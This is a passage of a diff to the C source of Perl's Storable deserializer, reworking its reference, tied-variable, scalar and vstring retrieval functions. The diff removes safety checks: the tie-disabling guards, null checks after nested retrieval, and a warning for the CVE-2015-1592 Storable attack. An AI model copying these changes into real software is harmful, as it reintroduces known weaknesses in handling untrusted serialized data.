SVt_PVMG); + break; + case SHT_TARRAY: + sv_upgrade(sv, SVt_PVAV); + AvREAL_off((AV *)sv); + break; + case SHT_THASH: + sv_upgrade(sv, SVt_PVHV); + break; + default: + CROAK(("Forgot to deal with extra type %d", extra_type)); + break; + } -static SV *retrieve_hook(pTHX_ stcxt_t *cxt, const char *cname) { - return retrieve_hook_common(aTHX_ cxt, cname, FALSE); + /* + * Adding the magic only now, well after the STORABLE_thaw hook was called + * means the hook cannot know it deals with an object whose variable is + * tied. But this is happening when retrieving $o in the following case: + * + * my %h; + * tie %h, 'FOO'; + * my $o = bless \%h, 'BAR'; + * + * The 'BAR' class is NOT the one where %h is tied into. Therefore, as + * far as the 'BAR' class is concerned, the fact that %h is not a REAL + * hash but a tied one should not matter at all, and remain transparent. + * This means the magic must be restored by Storable AFTER the hook is + * called. + * + * That looks very reasonable to me, but then I've come up with this + * after a bug report from David Nesting, who was trying to store such + * an object and caused Storable to fail. And unfortunately, it was + * also the easiest way to retrofit support for blessed ref to tied objects + * into the existing design. -- RAM, 17/02/2001 + */ + + sv_magic(sv, rv, mtype, (char *)NULL, 0); + SvREFCNT_dec(rv); /* Undo refcnt inc from sv_magic() */ + + return sv; } /* @@ -5358,64 +4553,61 @@ static SV *retrieve_hook(pTHX_ stcxt_t *cxt, const char *cname) { */ static SV *retrieve_ref(pTHX_ stcxt_t *cxt, const char *cname) { - SV *rv; - SV *sv; - HV *stash; - - TRACEME(("retrieve_ref (#%d)", (int)cxt->tagnum)); - - /* - * We need to create the SV that holds the reference to the yet-to-retrieve - * object now, so that we may record the address in the seen table. - * Otherwise, if the object to retrieve references us, we won't be able - * to resolve the SX_OBJECT we'll see at that point! Hence we cannot - * do the retrieve first and use rv = newRV(sv) since it will be too late - * for SEEN() recording. - */ - - rv = NEWSV(10002, 0); - if (cname) - stash = gv_stashpv(cname, GV_ADD); - else - stash = 0; - SEEN_NN(rv, stash, 0); /* Will return if rv is null */ - sv = retrieve(aTHX_ cxt, 0);/* Retrieve */ - if (!sv) - return (SV *) 0; /* Failed */ - - /* - * WARNING: breaks RV encapsulation. - * - * Now for the tricky part. We have to upgrade our existing SV, so that - * it is now an RV on sv... Again, we cheat by duplicating the code - * held in newSVrv(), since we already got our SV from retrieve(). - * - * We don't say: - * - * SvRV(rv) = SvREFCNT_inc(sv); - * - * here because the reference count we got from retrieve() above is - * already correct: if the object was retrieved from the file, then - * its reference count is one. Otherwise, if it was retrieved via - * an SX_OBJECT indication, a ref count increment was done. - */ - - if (cname) { - /* No need to do anything, as rv will already be PVMG. */ - assert (SvTYPE(rv) == SVt_RV || SvTYPE(rv) >= SVt_PV); - } else { - sv_upgrade(rv, SVt_RV); - } + SV *rv; + SV *sv; + HV *stash; + + TRACEME(("retrieve_ref (#%d)", cxt->tagnum)); + + /* + * We need to create the SV that holds the reference to the yet-to-retrieve + * object now, so that we may record the address in the seen table. + * Otherwise, if the object to retrieve references us, we won't be able + * to resolve the SX_OBJECT we'll see at that point! Hence we cannot + * do the retrieve first and use rv = newRV(sv) since it will be too late + * for SEEN() recording. + */ + + rv = NEWSV(10002, 0); + if (cname) + stash = gv_stashpv(cname, GV_ADD); + else + stash = 0; + SEEN_NN(rv, stash, 0); /* Will return if rv is null */ + sv = retrieve(aTHX_ cxt, 0); /* Retrieve */ + if (!sv) + return (SV *) 0; /* Failed */ + + /* + * WARNING: breaks RV encapsulation. + * + * Now for the tricky part. We have to upgrade our existing SV, so that + * it is now an RV on sv... Again, we cheat by duplicating the code + * held in newSVrv(), since we already got our SV from retrieve(). + * + * We don't say: + * + * SvRV(rv) = SvREFCNT_inc(sv); + * + * here because the reference count we got from retrieve() above is + * already correct: if the object was retrieved from the file, then + * its reference count is one. Otherwise, if it was retrieved via + * an SX_OBJECT indication, a ref count increment was done. + */ + + if (cname) { + /* No need to do anything, as rv will already be PVMG. */ + assert (SvTYPE(rv) == SVt_RV || SvTYPE(rv) >= SVt_PV); + } else { + sv_upgrade(rv, SVt_RV); + } - SvRV_set(rv, sv); /* $rv = \$sv */ - SvROK_on(rv); - /*if (cxt->entry && ++cxt->ref_cnt > MAX_REF_CNT) { - CROAK(("Max. recursion depth with nested refs exceeded")); - }*/ + SvRV_set(rv, sv); /* $rv = \$sv */ + SvROK_on(rv); - TRACEME(("ok (retrieve_ref at 0x%" UVxf ")", PTR2UV(rv))); + TRACEME(("ok (retrieve_ref at 0x%" UVxf ")", PTR2UV(rv))); - return rv; + return rv; } /* @@ -5426,19 +4618,19 @@ static SV *retrieve_ref(pTHX_ stcxt_t *cxt, const char *cname) */ static SV *retrieve_weakref(pTHX_ stcxt_t *cxt, const char *cname) { - SV *sv; + SV *sv; - TRACEME(("retrieve_weakref (#%d)", (int)cxt->tagnum)); + TRACEME(("retrieve_weakref (#%d)", cxt->tagnum)); - sv = retrieve_ref(aTHX_ cxt, cname); - if (sv) { + sv = retrieve_ref(aTHX_ cxt, cname); + if (sv) { #ifdef SvWEAKREF - sv_rvweaken(sv); + sv_rvweaken(sv); #else - WEAKREF_CROAK(); + WEAKREF_CROAK(); #endif - } - return sv; + } + return sv; } /* @@ -5449,63 +4641,63 @@ static SV *retrieve_weakref(pTHX_ stcxt_t *cxt, const char *cname) */ static SV *retrieve_overloaded(pTHX_ stcxt_t *cxt, const char *cname) { - SV *rv; - SV *sv; - HV *stash; - - TRACEME(("retrieve_overloaded (#%d)", (int)cxt->tagnum)); - - /* - * Same code as retrieve_ref(), duplicated to avoid extra call. - */ - - rv = NEWSV(10002, 0); - stash = cname ? gv_stashpv(cname, GV_ADD) : 0; - SEEN_NN(rv, stash, 0); /* Will return if rv is null */ - cxt->in_retrieve_overloaded = 1; /* so sv_bless doesn't call S_reset_amagic */ - sv = retrieve(aTHX_ cxt, 0); /* Retrieve */ - cxt->in_retrieve_overloaded = 0; - if (!sv) - return (SV *) 0; /* Failed */ - - /* - * WARNING: breaks RV encapsulation. - */ - - SvUPGRADE(rv, SVt_RV); - SvRV_set(rv, sv); /* $rv = \$sv */ - SvROK_on(rv); - - /* - * Restore overloading magic. - */ - - stash = SvTYPE(sv) ? (HV *) SvSTASH (sv) : 0; - if (!stash) { - CROAK(("Cannot restore overloading on %s(0x%" UVxf - ") (package )", - sv_reftype(sv, FALSE), - PTR2UV(sv))); - } - if (!Gv_AMG(stash)) { - const char *package = HvNAME_get(stash); - TRACEME(("No overloading defined for package %s", package)); - TRACEME(("Going to load module '%s'", package)); - load_module(PERL_LOADMOD_NOIMPORT, newSVpv(package, 0), Nullsv); - if (!Gv_AMG(stash)) { - CROAK(("Cannot restore overloading on %s(0x%" UVxf - ") (package %s) (even after a \"require %s;\")", - sv_reftype(sv, FALSE), - PTR2UV(sv), - package, package)); - } - } + SV *rv; + SV *sv; + HV *stash; + + TRACEME(("retrieve_overloaded (#%d)", cxt->tagnum)); + + /* + * Same code as retrieve_ref(), duplicated to avoid extra call. + */ + + rv = NEWSV(10002, 0); + stash = cname ? gv_stashpv(cname, GV_ADD) : 0; + SEEN_NN(rv, stash, 0); /* Will return if rv is null */ + cxt->in_retrieve_overloaded = 1; /* so sv_bless doesn't call S_reset_amagic */ + sv = retrieve(aTHX_ cxt, 0); /* Retrieve */ + cxt->in_retrieve_overloaded = 0; + if (!sv) + return (SV *) 0; /* Failed */ + + /* + * WARNING: breaks RV encapsulation. + */ + + SvUPGRADE(rv, SVt_RV); + SvRV_set(rv, sv); /* $rv = \$sv */ + SvROK_on(rv); + + /* + * Restore overloading magic. + */ + + stash = SvTYPE(sv) ? (HV *) SvSTASH (sv) : 0; + if (!stash) { + CROAK(("Cannot restore overloading on %s(0x%" UVxf + ") (package )", + sv_reftype(sv, FALSE), + PTR2UV(sv))); + } + if (!Gv_AMG(stash)) { + const char *package = HvNAME_get(stash); + TRACEME(("No overloading defined for package %s", package)); + TRACEME(("Going to load module '%s'", package)); + load_module(PERL_LOADMOD_NOIMPORT, newSVpv(package, 0), Nullsv); + if (!Gv_AMG(stash)) { + CROAK(("Cannot restore overloading on %s(0x%" UVxf + ") (package %s) (even after a \"require %s;\")", + sv_reftype(sv, FALSE), + PTR2UV(sv), + package, package)); + } + } - SvAMAGIC_on(rv); + SvAMAGIC_on(rv); - TRACEME(("ok (retrieve_overloaded at 0x%" UVxf ")", PTR2UV(rv))); + TRACEME(("ok (retrieve_overloaded at 0x%" UVxf ")", PTR2UV(rv))); - return rv; + return rv; } /* @@ -5516,19 +4708,19 @@ static SV *retrieve_overloaded(pTHX_ stcxt_t *cxt, const char *cname) */ static SV *retrieve_weakoverloaded(pTHX_ stcxt_t *cxt, const char *cname) { - SV *sv; + SV *sv; - TRACEME(("retrieve_weakoverloaded (#%d)", (int)cxt->tagnum)); + TRACEME(("retrieve_weakoverloaded (#%d)", cxt->tagnum)); - sv = retrieve_overloaded(aTHX_ cxt, cname); - if (sv) { + sv = retrieve_overloaded(aTHX_ cxt, cname); + if (sv) { #ifdef SvWEAKREF - sv_rvweaken(sv); + sv_rvweaken(sv); #else - WEAKREF_CROAK(); + WEAKREF_CROAK(); #endif - } - return sv; + } + return sv; } /* @@ -5539,30 +4731,27 @@ static SV *retrieve_weakoverloaded(pTHX_ stcxt_t *cxt, const char *cname) */ static SV *retrieve_tied_array(pTHX_ stcxt_t *cxt, const char *cname) { - SV *tv; - SV *sv; - HV *stash; - - TRACEME(("retrieve_tied_array (#%d)", (int)cxt->tagnum)); + SV *tv; + SV *sv; + HV *stash; - if (!(cxt->flags & FLAG_TIE_OK)) { - CROAK(("Tying is disabled.")); - } + TRACEME(("retrieve_tied_array (#%d)", cxt->tagnum)); - tv = NEWSV(10002, 0); - stash = cname ? gv_stashpv(cname, GV_ADD) : 0; - SEEN_NN(tv, stash, 0); /* Will return if tv is null */ - sv = retrieve(aTHX_ cxt, 0); /* Retrieve */ - if (!sv) - return (SV *) 0; /* Failed */ + tv = NEWSV(10002, 0); + stash = cname ? gv_stashpv(cname, GV_ADD) : 0; + SEEN_NN(tv, stash, 0); /* Will return if tv is null */ + sv = retrieve(aTHX_ cxt, 0); /* Retrieve */ + if (!sv) + return (SV *) 0; /* Failed */ - sv_upgrade(tv, SVt_PVAV); - sv_magic(tv, sv, 'P', (char *)NULL, 0); - SvREFCNT_dec(sv); /* Undo refcnt inc from sv_magic() */ + sv_upgrade(tv, SVt_PVAV); + AvREAL_off((AV *)tv); + sv_magic(tv, sv, 'P', (char *)NULL, 0); + SvREFCNT_dec(sv); /* Undo refcnt inc from sv_magic() */ - TRACEME(("ok (retrieve_tied_array at 0x%" UVxf ")", PTR2UV(tv))); + TRACEME(("ok (retrieve_tied_array at 0x%" UVxf ")", PTR2UV(tv))); - return tv; + return tv; } /* @@ -5573,30 +4762,26 @@ static SV *retrieve_tied_array(pTHX_ stcxt_t *cxt, const char *cname) */ static SV *retrieve_tied_hash(pTHX_ stcxt_t *cxt, const char *cname) { - SV *tv; - SV *sv; - HV *stash; + SV *tv; + SV *sv; + HV *stash; - TRACEME(("retrieve_tied_hash (#%d)", (int)cxt->tagnum)); + TRACEME(("retrieve_tied_hash (#%d)", cxt->tagnum)); - if (!(cxt->flags & FLAG_TIE_OK)) { - CROAK(("Tying is disabled.")); - } - - tv = NEWSV(10002, 0); - stash = cname ? gv_stashpv(cname, GV_ADD) : 0; - SEEN_NN(tv, stash, 0); /* Will return if tv is null */ - sv = retrieve(aTHX_ cxt, 0); /* Retrieve */ - if (!sv) - return (SV *) 0; /* Failed */ + tv = NEWSV(10002, 0); + stash = cname ? gv_stashpv(cname, GV_ADD) : 0; + SEEN_NN(tv, stash, 0); /* Will return if tv is null */ + sv = retrieve(aTHX_ cxt, 0); /* Retrieve */ + if (!sv) + return (SV *) 0; /* Failed */ - sv_upgrade(tv, SVt_PVHV); - sv_magic(tv, sv, 'P', (char *)NULL, 0); - SvREFCNT_dec(sv); /* Undo refcnt inc from sv_magic() */ + sv_upgrade(tv, SVt_PVHV); + sv_magic(tv, sv, 'P', (char *)NULL, 0); + SvREFCNT_dec(sv); /* Undo refcnt inc from sv_magic() */ - TRACEME(("ok (retrieve_tied_hash at 0x%" UVxf ")", PTR2UV(tv))); + TRACEME(("ok (retrieve_tied_hash at 0x%" UVxf ")", PTR2UV(tv))); - return tv; + return tv; } /* @@ -5607,38 +4792,34 @@ static SV *retrieve_tied_hash(pTHX_ stcxt_t *cxt, const char *cname) */ static SV *retrieve_tied_scalar(pTHX_ stcxt_t *cxt, const char *cname) { - SV *tv; - SV *sv, *obj = NULL; - HV *stash; - - TRACEME(("retrieve_tied_scalar (#%d)", (int)cxt->tagnum)); - - if (!(cxt->flags & FLAG_TIE_OK)) { - CROAK(("Tying is disabled.")); - } - - tv = NEWSV(10002, 0); - stash = cname ? gv_stashpv(cname, GV_ADD) : 0; - SEEN_NN(tv, stash, 0); /* Will return if rv is null */ - sv = retrieve(aTHX_ cxt, 0); /* Retrieve */ - if (!sv) { - return (SV *) 0; /* Failed */ - } - else if (SvTYPE(sv) != SVt_NULL) { - obj = sv; - } + SV *tv; + SV *sv, *obj = NULL; + HV *stash; + + TRACEME(("retrieve_tied_scalar (#%d)", cxt->tagnum)); + + tv = NEWSV(10002, 0); + stash = cname ? gv_stashpv(cname, GV_ADD) : 0; + SEEN_NN(tv, stash, 0); /* Will return if rv is null */ + sv = retrieve(aTHX_ cxt, 0); /* Retrieve */ + if (!sv) { + return (SV *) 0; /* Failed */ + } + else if (SvTYPE(sv) != SVt_NULL) { + obj = sv; + } - sv_upgrade(tv, SVt_PVMG); - sv_magic(tv, obj, 'q', (char *)NULL, 0); + sv_upgrade(tv, SVt_PVMG); + sv_magic(tv, obj, 'q', (char *)NULL, 0); - if (obj) { - /* Undo refcnt inc from sv_magic() */ - SvREFCNT_dec(obj); - } + if (obj) { + /* Undo refcnt inc from sv_magic() */ + SvREFCNT_dec(obj); + } - TRACEME(("ok (retrieve_tied_scalar at 0x%" UVxf ")", PTR2UV(tv))); + TRACEME(("ok (retrieve_tied_scalar at 0x%" UVxf ")", PTR2UV(tv))); - return tv; + return tv; } /* @@ -5649,34 +4830,30 @@ static SV *retrieve_tied_scalar(pTHX_ stcxt_t *cxt, const char *cname) */ static SV *retrieve_tied_key(pTHX_ stcxt_t *cxt, const char *cname) { - SV *tv; - SV *sv; - SV *key; - HV *stash; - - TRACEME(("retrieve_tied_key (#%d)", (int)cxt->tagnum)); - - if (!(cxt->flags & FLAG_TIE_OK)) { - CROAK(("Tying is disabled.")); - } - - tv = NEWSV(10002, 0); - stash = cname ? gv_stashpv(cname, GV_ADD) : 0; - SEEN_NN(tv, stash, 0); /* Will return if tv is null */ - sv = retrieve(aTHX_ cxt, 0); /* Retrieve */ - if (!sv) - return (SV *) 0; /* Failed */ - - key = retrieve(aTHX_ cxt, 0); /* Retrieve */ - if (!key) - return (SV *) 0; /* Failed */ - - sv_upgrade(tv, SVt_PVMG); - sv_magic(tv, sv, 'p', (char *)key, HEf_SVKEY); - SvREFCNT_dec(key); /* Undo refcnt inc from sv_magic() */ - SvREFCNT_dec(sv); /* Undo refcnt inc from sv_magic() */ - - return tv; + SV *tv; + SV *sv; + SV *key; + HV *stash; + + TRACEME(("retrieve_tied_key (#%d)", cxt->tagnum)); + + tv = NEWSV(10002, 0); + stash = cname ? gv_stashpv(cname, GV_ADD) : 0; + SEEN_NN(tv, stash, 0); /* Will return if tv is null */ + sv = retrieve(aTHX_ cxt, 0); /* Retrieve */ + if (!sv) + return (SV *) 0; /* Failed */ + + key = retrieve(aTHX_ cxt, 0); /* Retrieve */ + if (!key) + return (SV *) 0; /* Failed */ + + sv_upgrade(tv, SVt_PVMG); + sv_magic(tv, sv, 'p', (char *)key, HEf_SVKEY); + SvREFCNT_dec(key); /* Undo refcnt inc from sv_magic() */ + SvREFCNT_dec(sv); /* Undo refcnt inc from sv_magic() */ + + return tv; } /* @@ -5687,107 +4864,29 @@ static SV *retrieve_tied_key(pTHX_ stcxt_t *cxt, const char *cname) */ static SV *retrieve_tied_idx(pTHX_ stcxt_t *cxt, const char *cname) { - SV *tv; - SV *sv; - HV *stash; - I32 idx; - - TRACEME(("retrieve_tied_idx (#%d)", (int)cxt->tagnum)); + SV *tv; + SV *sv; + HV *stash; + I32 idx; - if (!(cxt->flags & FLAG_TIE_OK)) { - CROAK(("Tying is disabled.")); - } + TRACEME(("retrieve_tied_idx (#%d)", cxt->tagnum)); - tv = NEWSV(10002, 0); - stash = cname ? gv_stashpv(cname, GV_ADD) : 0; - SEEN_NN(tv, stash, 0); /* Will return if tv is null */ - sv = retrieve(aTHX_ cxt, 0); /* Retrieve */ - if (!sv) - return (SV *) 0; /* Failed */ + tv = NEWSV(10002, 0); + stash = cname ? gv_stashpv(cname, GV_ADD) : 0; + SEEN_NN(tv, stash, 0); /* Will return if tv is null */ + sv = retrieve(aTHX_ cxt, 0); /* Retrieve */ + if (!sv) + return (SV *) 0; /* Failed */ - RLEN(idx); /* Retrieve */ + RLEN(idx); /* Retrieve */ - sv_upgrade(tv, SVt_PVMG); - sv_magic(tv, sv, 'p', (char *)NULL, idx); - SvREFCNT_dec(sv); /* Undo refcnt inc from sv_magic() */ + sv_upgrade(tv, SVt_PVMG); + sv_magic(tv, sv, 'p', (char *)NULL, idx); + SvREFCNT_dec(sv); /* Undo refcnt inc from sv_magic() */ - return tv; + return tv; } -/* - * get_lstring - * - * Helper to read a string - */ -static SV *get_lstring(pTHX_ stcxt_t *cxt, UV len, int isutf8, const char *cname) -{ - SV *sv; - HV *stash; - - TRACEME(("get_lstring (#%d), len = %" UVuf, (int)cxt->tagnum, len)); - - /* - * Allocate an empty scalar of the suitable length. - */ - - sv = NEWSV(10002, len); - stash = cname ? gv_stashpv(cname, GV_ADD) : 0; - SEEN_NN(sv, stash, 0); /* Associate this new scalar with tag "tagnum" */ - - if (len == 0) { - SvPVCLEAR(sv); - return sv; - } - - /* - * WARNING: duplicates parts of sv_setpv and breaks SV data encapsulation. - * - * Now, for efficiency reasons, read data directly inside the SV buffer, - * and perform the SV final settings directly by duplicating the final - * work done by sv_setpv. Since we're going to allocate lots of scalars - * this way, it's worth the hassle and risk. - */ - - SAFEREAD(SvPVX(sv), len, sv); - SvCUR_set(sv, len); /* Record C string length */ - *SvEND(sv) = '\0'; /* Ensure it's null terminated anyway */ - (void) SvPOK_only(sv); /* Validate string pointer */ - if (cxt->s_tainted) /* Is input source tainted? */ - SvTAINT(sv); /* External data cannot be trusted */ - - /* Check for CVE-215-1592 */ - if (cname && len == 13 && strEQc(cname, "CGITempFile") - && strEQc(SvPVX(sv), "mt-config.cgi")) { -#if defined(USE_CPERL) && defined(WARN_SECURITY) - Perl_warn_security(aTHX_ - "Movable-Type CVE-2015-1592 Storable metasploit attack"); -#else - Perl_warn(aTHX_ - "SECURITY: Movable-Type CVE-2015-1592 Storable metasploit attack"); -#endif - } - - if (isutf8) { - TRACEME(("large utf8 string len %" UVuf " '%s'", len, - len >= 2048 ? "" : SvPVX(sv))); -#ifdef HAS_UTF8_SCALARS - SvUTF8_on(sv); -#else - if (cxt->use_bytes < 0) - cxt->use_bytes - = (SvTRUE(get_sv("Storable::drop_utf8", GV_ADD)) - ? 1 : 0); - if (cxt->use_bytes == 0) - UTF8_CROAK(); -#endif - } else { - TRACEME(("large string len %" UVuf " '%s'", len, - len >= 2048 ? "" : SvPVX(sv))); - } - TRACEME(("ok (get_lstring at 0x%" UVxf ")", PTR2UV(sv))); - - return sv; -} /* * retrieve_lscalar @@ -5796,14 +4895,50 @@ static SV *get_lstring(pTHX_ stcxt_t *cxt, UV len, int isutf8, const char *cname * * Layout is SX_LSCALAR , with SX_LSCALAR already read. * The scalar is "long" in that is larger than LG_SCALAR so it - * was not stored on a single byte, but in 4 bytes. For strings longer than - * 4 byte (>2GB) see retrieve_lobject. + * was not stored on a single byte. */ static SV *retrieve_lscalar(pTHX_ stcxt_t *cxt, const char *cname) { - U32 len; - RLEN(len); - return get_lstring(aTHX_ cxt, len, 0, cname); + I32 len; + SV *sv; + HV *stash; + + RLEN(len); + TRACEME(("retrieve_lscalar (#%d), len = %" IVdf, cxt->tagnum, (IV) len)); + + /* + * Allocate an empty scalar of the suitable length. + */ + + sv = NEWSV(10002, len); + stash = cname ? gv_stashpv(cname, GV_ADD) : 0; + SEEN_NN(sv, stash, 0); /* Associate this new scalar with tag "tagnum" */ + + if (len == 0) { + SvPVCLEAR(sv); + return sv; + } + + /* + * WARNING: duplicates parts of sv_setpv and breaks SV data encapsulation. + * + * Now, for efficiency reasons, read data directly inside the SV buffer, + * and perform the SV final settings directly by duplicating the final + * work done by sv_setpv. Since we're going to allocate lots of scalars + * this way, it's worth the hassle and risk. + */ + + SAFEREAD(SvPVX(sv), len, sv); + SvCUR_set(sv, len); /* Record C string length */ + *SvEND(sv) = '\0'; /* Ensure it's null terminated anyway */ + (void) SvPOK_only(sv); /* Validate string pointer */ + if (cxt->s_tainted) /* Is input source tainted? */ + SvTAINT(sv); /* External data cannot be trusted */ + + TRACEME(("large scalar len %" IVdf " '%s'", (IV) len, SvPVX(sv))); + TRACEME(("ok (retrieve_lscalar at 0x%" UVxf ")", PTR2UV(sv))); + + return sv; } /* @@ -5817,13 +4952,57 @@ static SV *retrieve_lscalar(pTHX_ stcxt_t *cxt, const char *cname) */ static SV *retrieve_scalar(pTHX_ stcxt_t *cxt, const char *cname) { - int len; - /*SV *sv; - HV *stash;*/ + int len; + SV *sv; + HV *stash; + + GETMARK(len); + TRACEME(("retrieve_scalar (#%d), len = %d", cxt->tagnum, len)); + + /* + * Allocate an empty scalar of the suitable length. + */ + + sv = NEWSV(10002, len); + stash = cname ? gv_stashpv(cname, GV_ADD) : 0; + SEEN_NN(sv, stash, 0); /* Associate this new scalar with tag "tagnum" */ + + /* + * WARNING: duplicates parts of sv_setpv and breaks SV data encapsulation. + */ + + if (len == 0) { + /* + * newSV did not upgrade to SVt_PV so the scalar is undefined. + * To make it defined with an empty length, upgrade it now... + * Don't upgrade to a PV if the original type contains more + * information than a scalar. + */ + if (SvTYPE(sv) <= SVt_PV) { + sv_upgrade(sv, SVt_PV); + } + SvGROW(sv, 1); + *SvEND(sv) = '\0'; /* Ensure it's null terminated anyway */ + TRACEME(("ok (retrieve_scalar empty at 0x%" UVxf ")", PTR2UV(sv))); + } else { + /* + * Now, for efficiency reasons, read data directly inside the SV buffer, + * and perform the SV final settings directly by duplicating the final + * work done by sv_setpv. Since we're going to allocate lots of scalars + * this way, it's worth the hassle and risk. + */ + SAFEREAD(SvPVX(sv), len, sv); + SvCUR_set(sv, len); /* Record C string length */ + *SvEND(sv) = '\0'; /* Ensure it's null terminated anyway */ + TRACEME(("small scalar len %d '%s'", len, SvPVX(sv))); + } - GETMARK(len); - TRACEME(("retrieve_scalar (#%d), len = %d", (int)cxt->tagnum, len)); - return get_lstring(aTHX_ cxt, (UV)len, 0, cname); + (void) SvPOK_only(sv); /* Validate string pointer */ + if (cxt->s_tainted) /* Is input source tainted? */ + SvTAINT(sv); /* External data cannot be trusted */ + + TRACEME(("ok (retrieve_scalar at 0x%" UVxf ")", PTR2UV(sv))); + return sv; } /* @@ -5834,12 +5013,25 @@ static SV *retrieve_scalar(pTHX_ stcxt_t *cxt, const char *cname) */ static SV *retrieve_utf8str(pTHX_ stcxt_t *cxt, const char *cname) { - int len; - /*SV *sv;*/ + SV *sv; TRACEME(("retrieve_utf8str")); - GETMARK(len); - return get_lstring(aTHX_ cxt, (UV)len, 1, cname); + + sv = retrieve_scalar(aTHX_ cxt, cname); + if (sv) { +#ifdef HAS_UTF8_SCALARS + SvUTF8_on(sv); +#else + if (cxt->use_bytes < 0) + cxt->use_bytes + = (SvTRUE(perl_get_sv("Storable::drop_utf8", GV_ADD)) + ? 1 : 0); + if (cxt->use_bytes == 0) + UTF8_CROAK(); +#endif + } + + return sv; } /* @@ -5850,12 +5042,24 @@ static SV *retrieve_utf8str(pTHX_ stcxt_t *cxt, const char *cname) */ static SV *retrieve_lutf8str(pTHX_ stcxt_t *cxt, const char *cname) { - U32 len; + SV *sv; TRACEME(("retrieve_lutf8str")); - RLEN(len); - return get_lstring(aTHX_ cxt, (UV)len, 1, cname); + sv = retrieve_lscalar(aTHX_ cxt, cname); + if (sv) { +#ifdef HAS_UTF8_SCALARS + SvUTF8_on(sv); +#else + if (cxt->use_bytes < 0) + cxt->use_bytes + = (SvTRUE(perl_get_sv("Storable::drop_utf8", GV_ADD)) + ? 1 : 0); + if (cxt->use_bytes == 0) + UTF8_CROAK(); +#endif + } + return sv; } /* @@ -5871,26 +5075,26 @@ static SV *retrieve_lutf8str(pTHX_ stcxt_t *cxt, const char *cname) static SV *retrieve_vstring(pTHX_ stcxt_t *cxt, const char *cname) { #ifdef SvVOK - char s[256]; - int len; - SV *sv; + char s[256]; + int len; + SV *sv; - GETMARK(len); - TRACEME(("retrieve_vstring (#%d), len = %d", (int)cxt->tagnum, len)); + GETMARK(len); + TRACEME(("retrieve_vstring (#%d), len = %d", cxt->tagnum, len)); - READ(s, len); - sv = retrieve(aTHX_ cxt, cname); - if (!sv) - return (SV *) 0; /* Failed */ - sv_magic(sv,NULL,PERL_MAGIC_vstring,s,len); - /* 5.10.0 and earlier seem to need this */ - SvRMAGICAL_on(sv); + READ(s, len); - TRACEME(("ok (retrieve_vstring at 0x%" UVxf ")", PTR2UV(sv))); - return sv; + sv = retrieve(aTHX_ cxt, cname); + + sv_magic(sv,NULL,PERL_MAGIC_vstring,s,len); + /* 5.10.0 and earlier seem to need this */ + SvRMAGICAL_on(sv); + + TRACEME(("ok (retrieve_vstring at 0x%" UVxf ")", PTR2UV(sv))); + return sv; #else - VSTRING_CROAK(); - return Nullsv; + VSTRING_CROAK(); + return Nullsv; #endif } @@ -5902,33 +5106,30 @@ static SV *retrieve_vstring(pTHX_ stcxt_t *cxt, const char *cname) static SV *retrieve_lvstring(pTHX_ stcxt_t *cxt, const char *cname) { #ifdef SvVOK - char *s; - I32 len; - SV *sv; + char *s; + I32 len; + SV *sv; - RLEN(len); - TRACEME(("retrieve_lvstring (#%d), len = %" IVdf, - (int)cxt->tagnum, (IV)len)); + RLEN(len); + TRACEME(("retrieve_lvstring (#%d), len = %" IVdf, + cxt->tagnum, (IV)len)); - New(10003, s, len+1, char); - SAFEPVREAD(s, len, s); + New(10003, s, len+1, char); + SAFEPVREAD(s, len, s); - sv = retrieve(aTHX_ cxt, cname); - if (!sv) { - Safefree(s); - return (SV *) 0; /* Failed */ - } - sv_magic(sv,NULL,PERL_MAGIC_vstring,s,len); - /* 5.10.0 and earlier seem to need this */ - SvRMAGICAL_on(sv); + sv = retrieve(aTHX_ cxt, cname); - Safefree(s); + sv_magic(sv,NULL,PERL_MAGIC_vstring,s,len); + /* 5.10.0 and earlier seem to need this */ + SvRMAGICAL_on(sv); - TRACEME(("ok (retrieve_lvstring at 0x%" UVxf ")", PTR2UV(sv))); - return sv; + Safefree(s); + + TRACEME(("ok (retrieve_lvstring at 0x%" UVxf ")", PTR2UV(sv))); + return sv; #else - VSTRING_CROAK(); - return Nullsv; + VSTRING_CROAK(); + return Nullsv; #endif } @@ -5940,104 +5141,21 @@ static SV *retrieve_lvstring(pTHX_ stcxt_t *cxt, const char *cname) */ static SV *retrieve_integer(pTHX_ stcxt_t *cxt, const char *cname) { - SV *sv; - HV *stash; - IV iv; - - TRACEME(("retrieve_integer (#%d)", (int)cxt->tagnum)); - - READ(&iv, sizeof(iv)); - sv = newSViv(iv); - stash = cname ? gv_stashpv(cname, GV_ADD) : 0; - SEEN_NN(sv, stash, 0); /* Associate this new scalar with tag "tagnum" */ - - TRACEME(("integer %" IVdf, iv)); - TRACEME(("ok (retrieve_integer at 0x%" UVxf ")", PTR2UV(sv))); - - return sv; -} - -/* - * retrieve_lobject - * - * Retrieve overlong scalar, array or hash. - * Layout is SX_LOBJECT type U64_len ... - */ -static SV *retrieve_lobject(pTHX_ stcxt_t *cxt, const char *cname) -{ - int type; -#ifdef HAS_U64 - UV len; - SV *sv; - int hash_flags = 0; -#endif - - TRACEME(("retrieve_lobject (#%d)", (int)cxt->tagnum)); - - GETMARK(type); - TRACEME(("object type %d", type)); -#ifdef HAS_U64 + SV *sv; + HV *stash; + IV iv; - if (type == SX_FLAG_HASH) { - /* we write the flags immediately after the op. I could have - changed the writer, but this may allow someone to recover - data they're already frozen, though such a very large hash - seems unlikely. - */ - GETMARK(hash_flags); - } - else if (type == SX_HOOK) { - return retrieve_hook_common(aTHX_ cxt, cname, TRUE); - } + TRACEME(("retrieve_integer (#%d)", cxt->tagnum)); - READ_U64(len); - TRACEME(("wlen %" UVuf, len)); - switch (type) { - case SX_OBJECT: - { - /* not a large object, just a large index */ - SV **svh = av_fetch(cxt->aseen, len, FALSE); - if (!svh) - CROAK(("Object #%" UVuf " should have been retrieved already", - len)); - sv = *svh; - TRACEME(("had retrieved #%" UVuf " at 0x%" UVxf, len, PTR2UV(sv))); - SvREFCNT_inc(sv); - } - break; - case SX_LSCALAR: - sv = get_lstring(aTHX_ cxt, len, 0, cname); - break; - case SX_LUTF8STR: - sv = get_lstring(aTHX_ cxt, len, 1, cname); - break; - case SX_ARRAY: - sv = get_larray(aTHX_ cxt, len, cname); - break; - /* <5.12 you could store larger hashes, but cannot iterate over them. - So we reject them, it's a bug. */ - case SX_FLAG_HASH: - sv = get_lhash(aTHX_ cxt, len, hash_flags, cname); - break; - case SX_HASH: - sv = get_lhash(aTHX_ cxt, len, 0, cname); - break; - default: - CROAK(("Unexpected type %d in retrieve_lobject\n", type)); - } + READ(&iv, sizeof(iv)); + sv = newSViv(iv); + stash = cname ? gv_stashpv(cname, GV_ADD) : 0; + SEEN_NN(sv, stash, 0); /* Associate this new scalar with tag "tagnum" */ - TRACEME(("ok 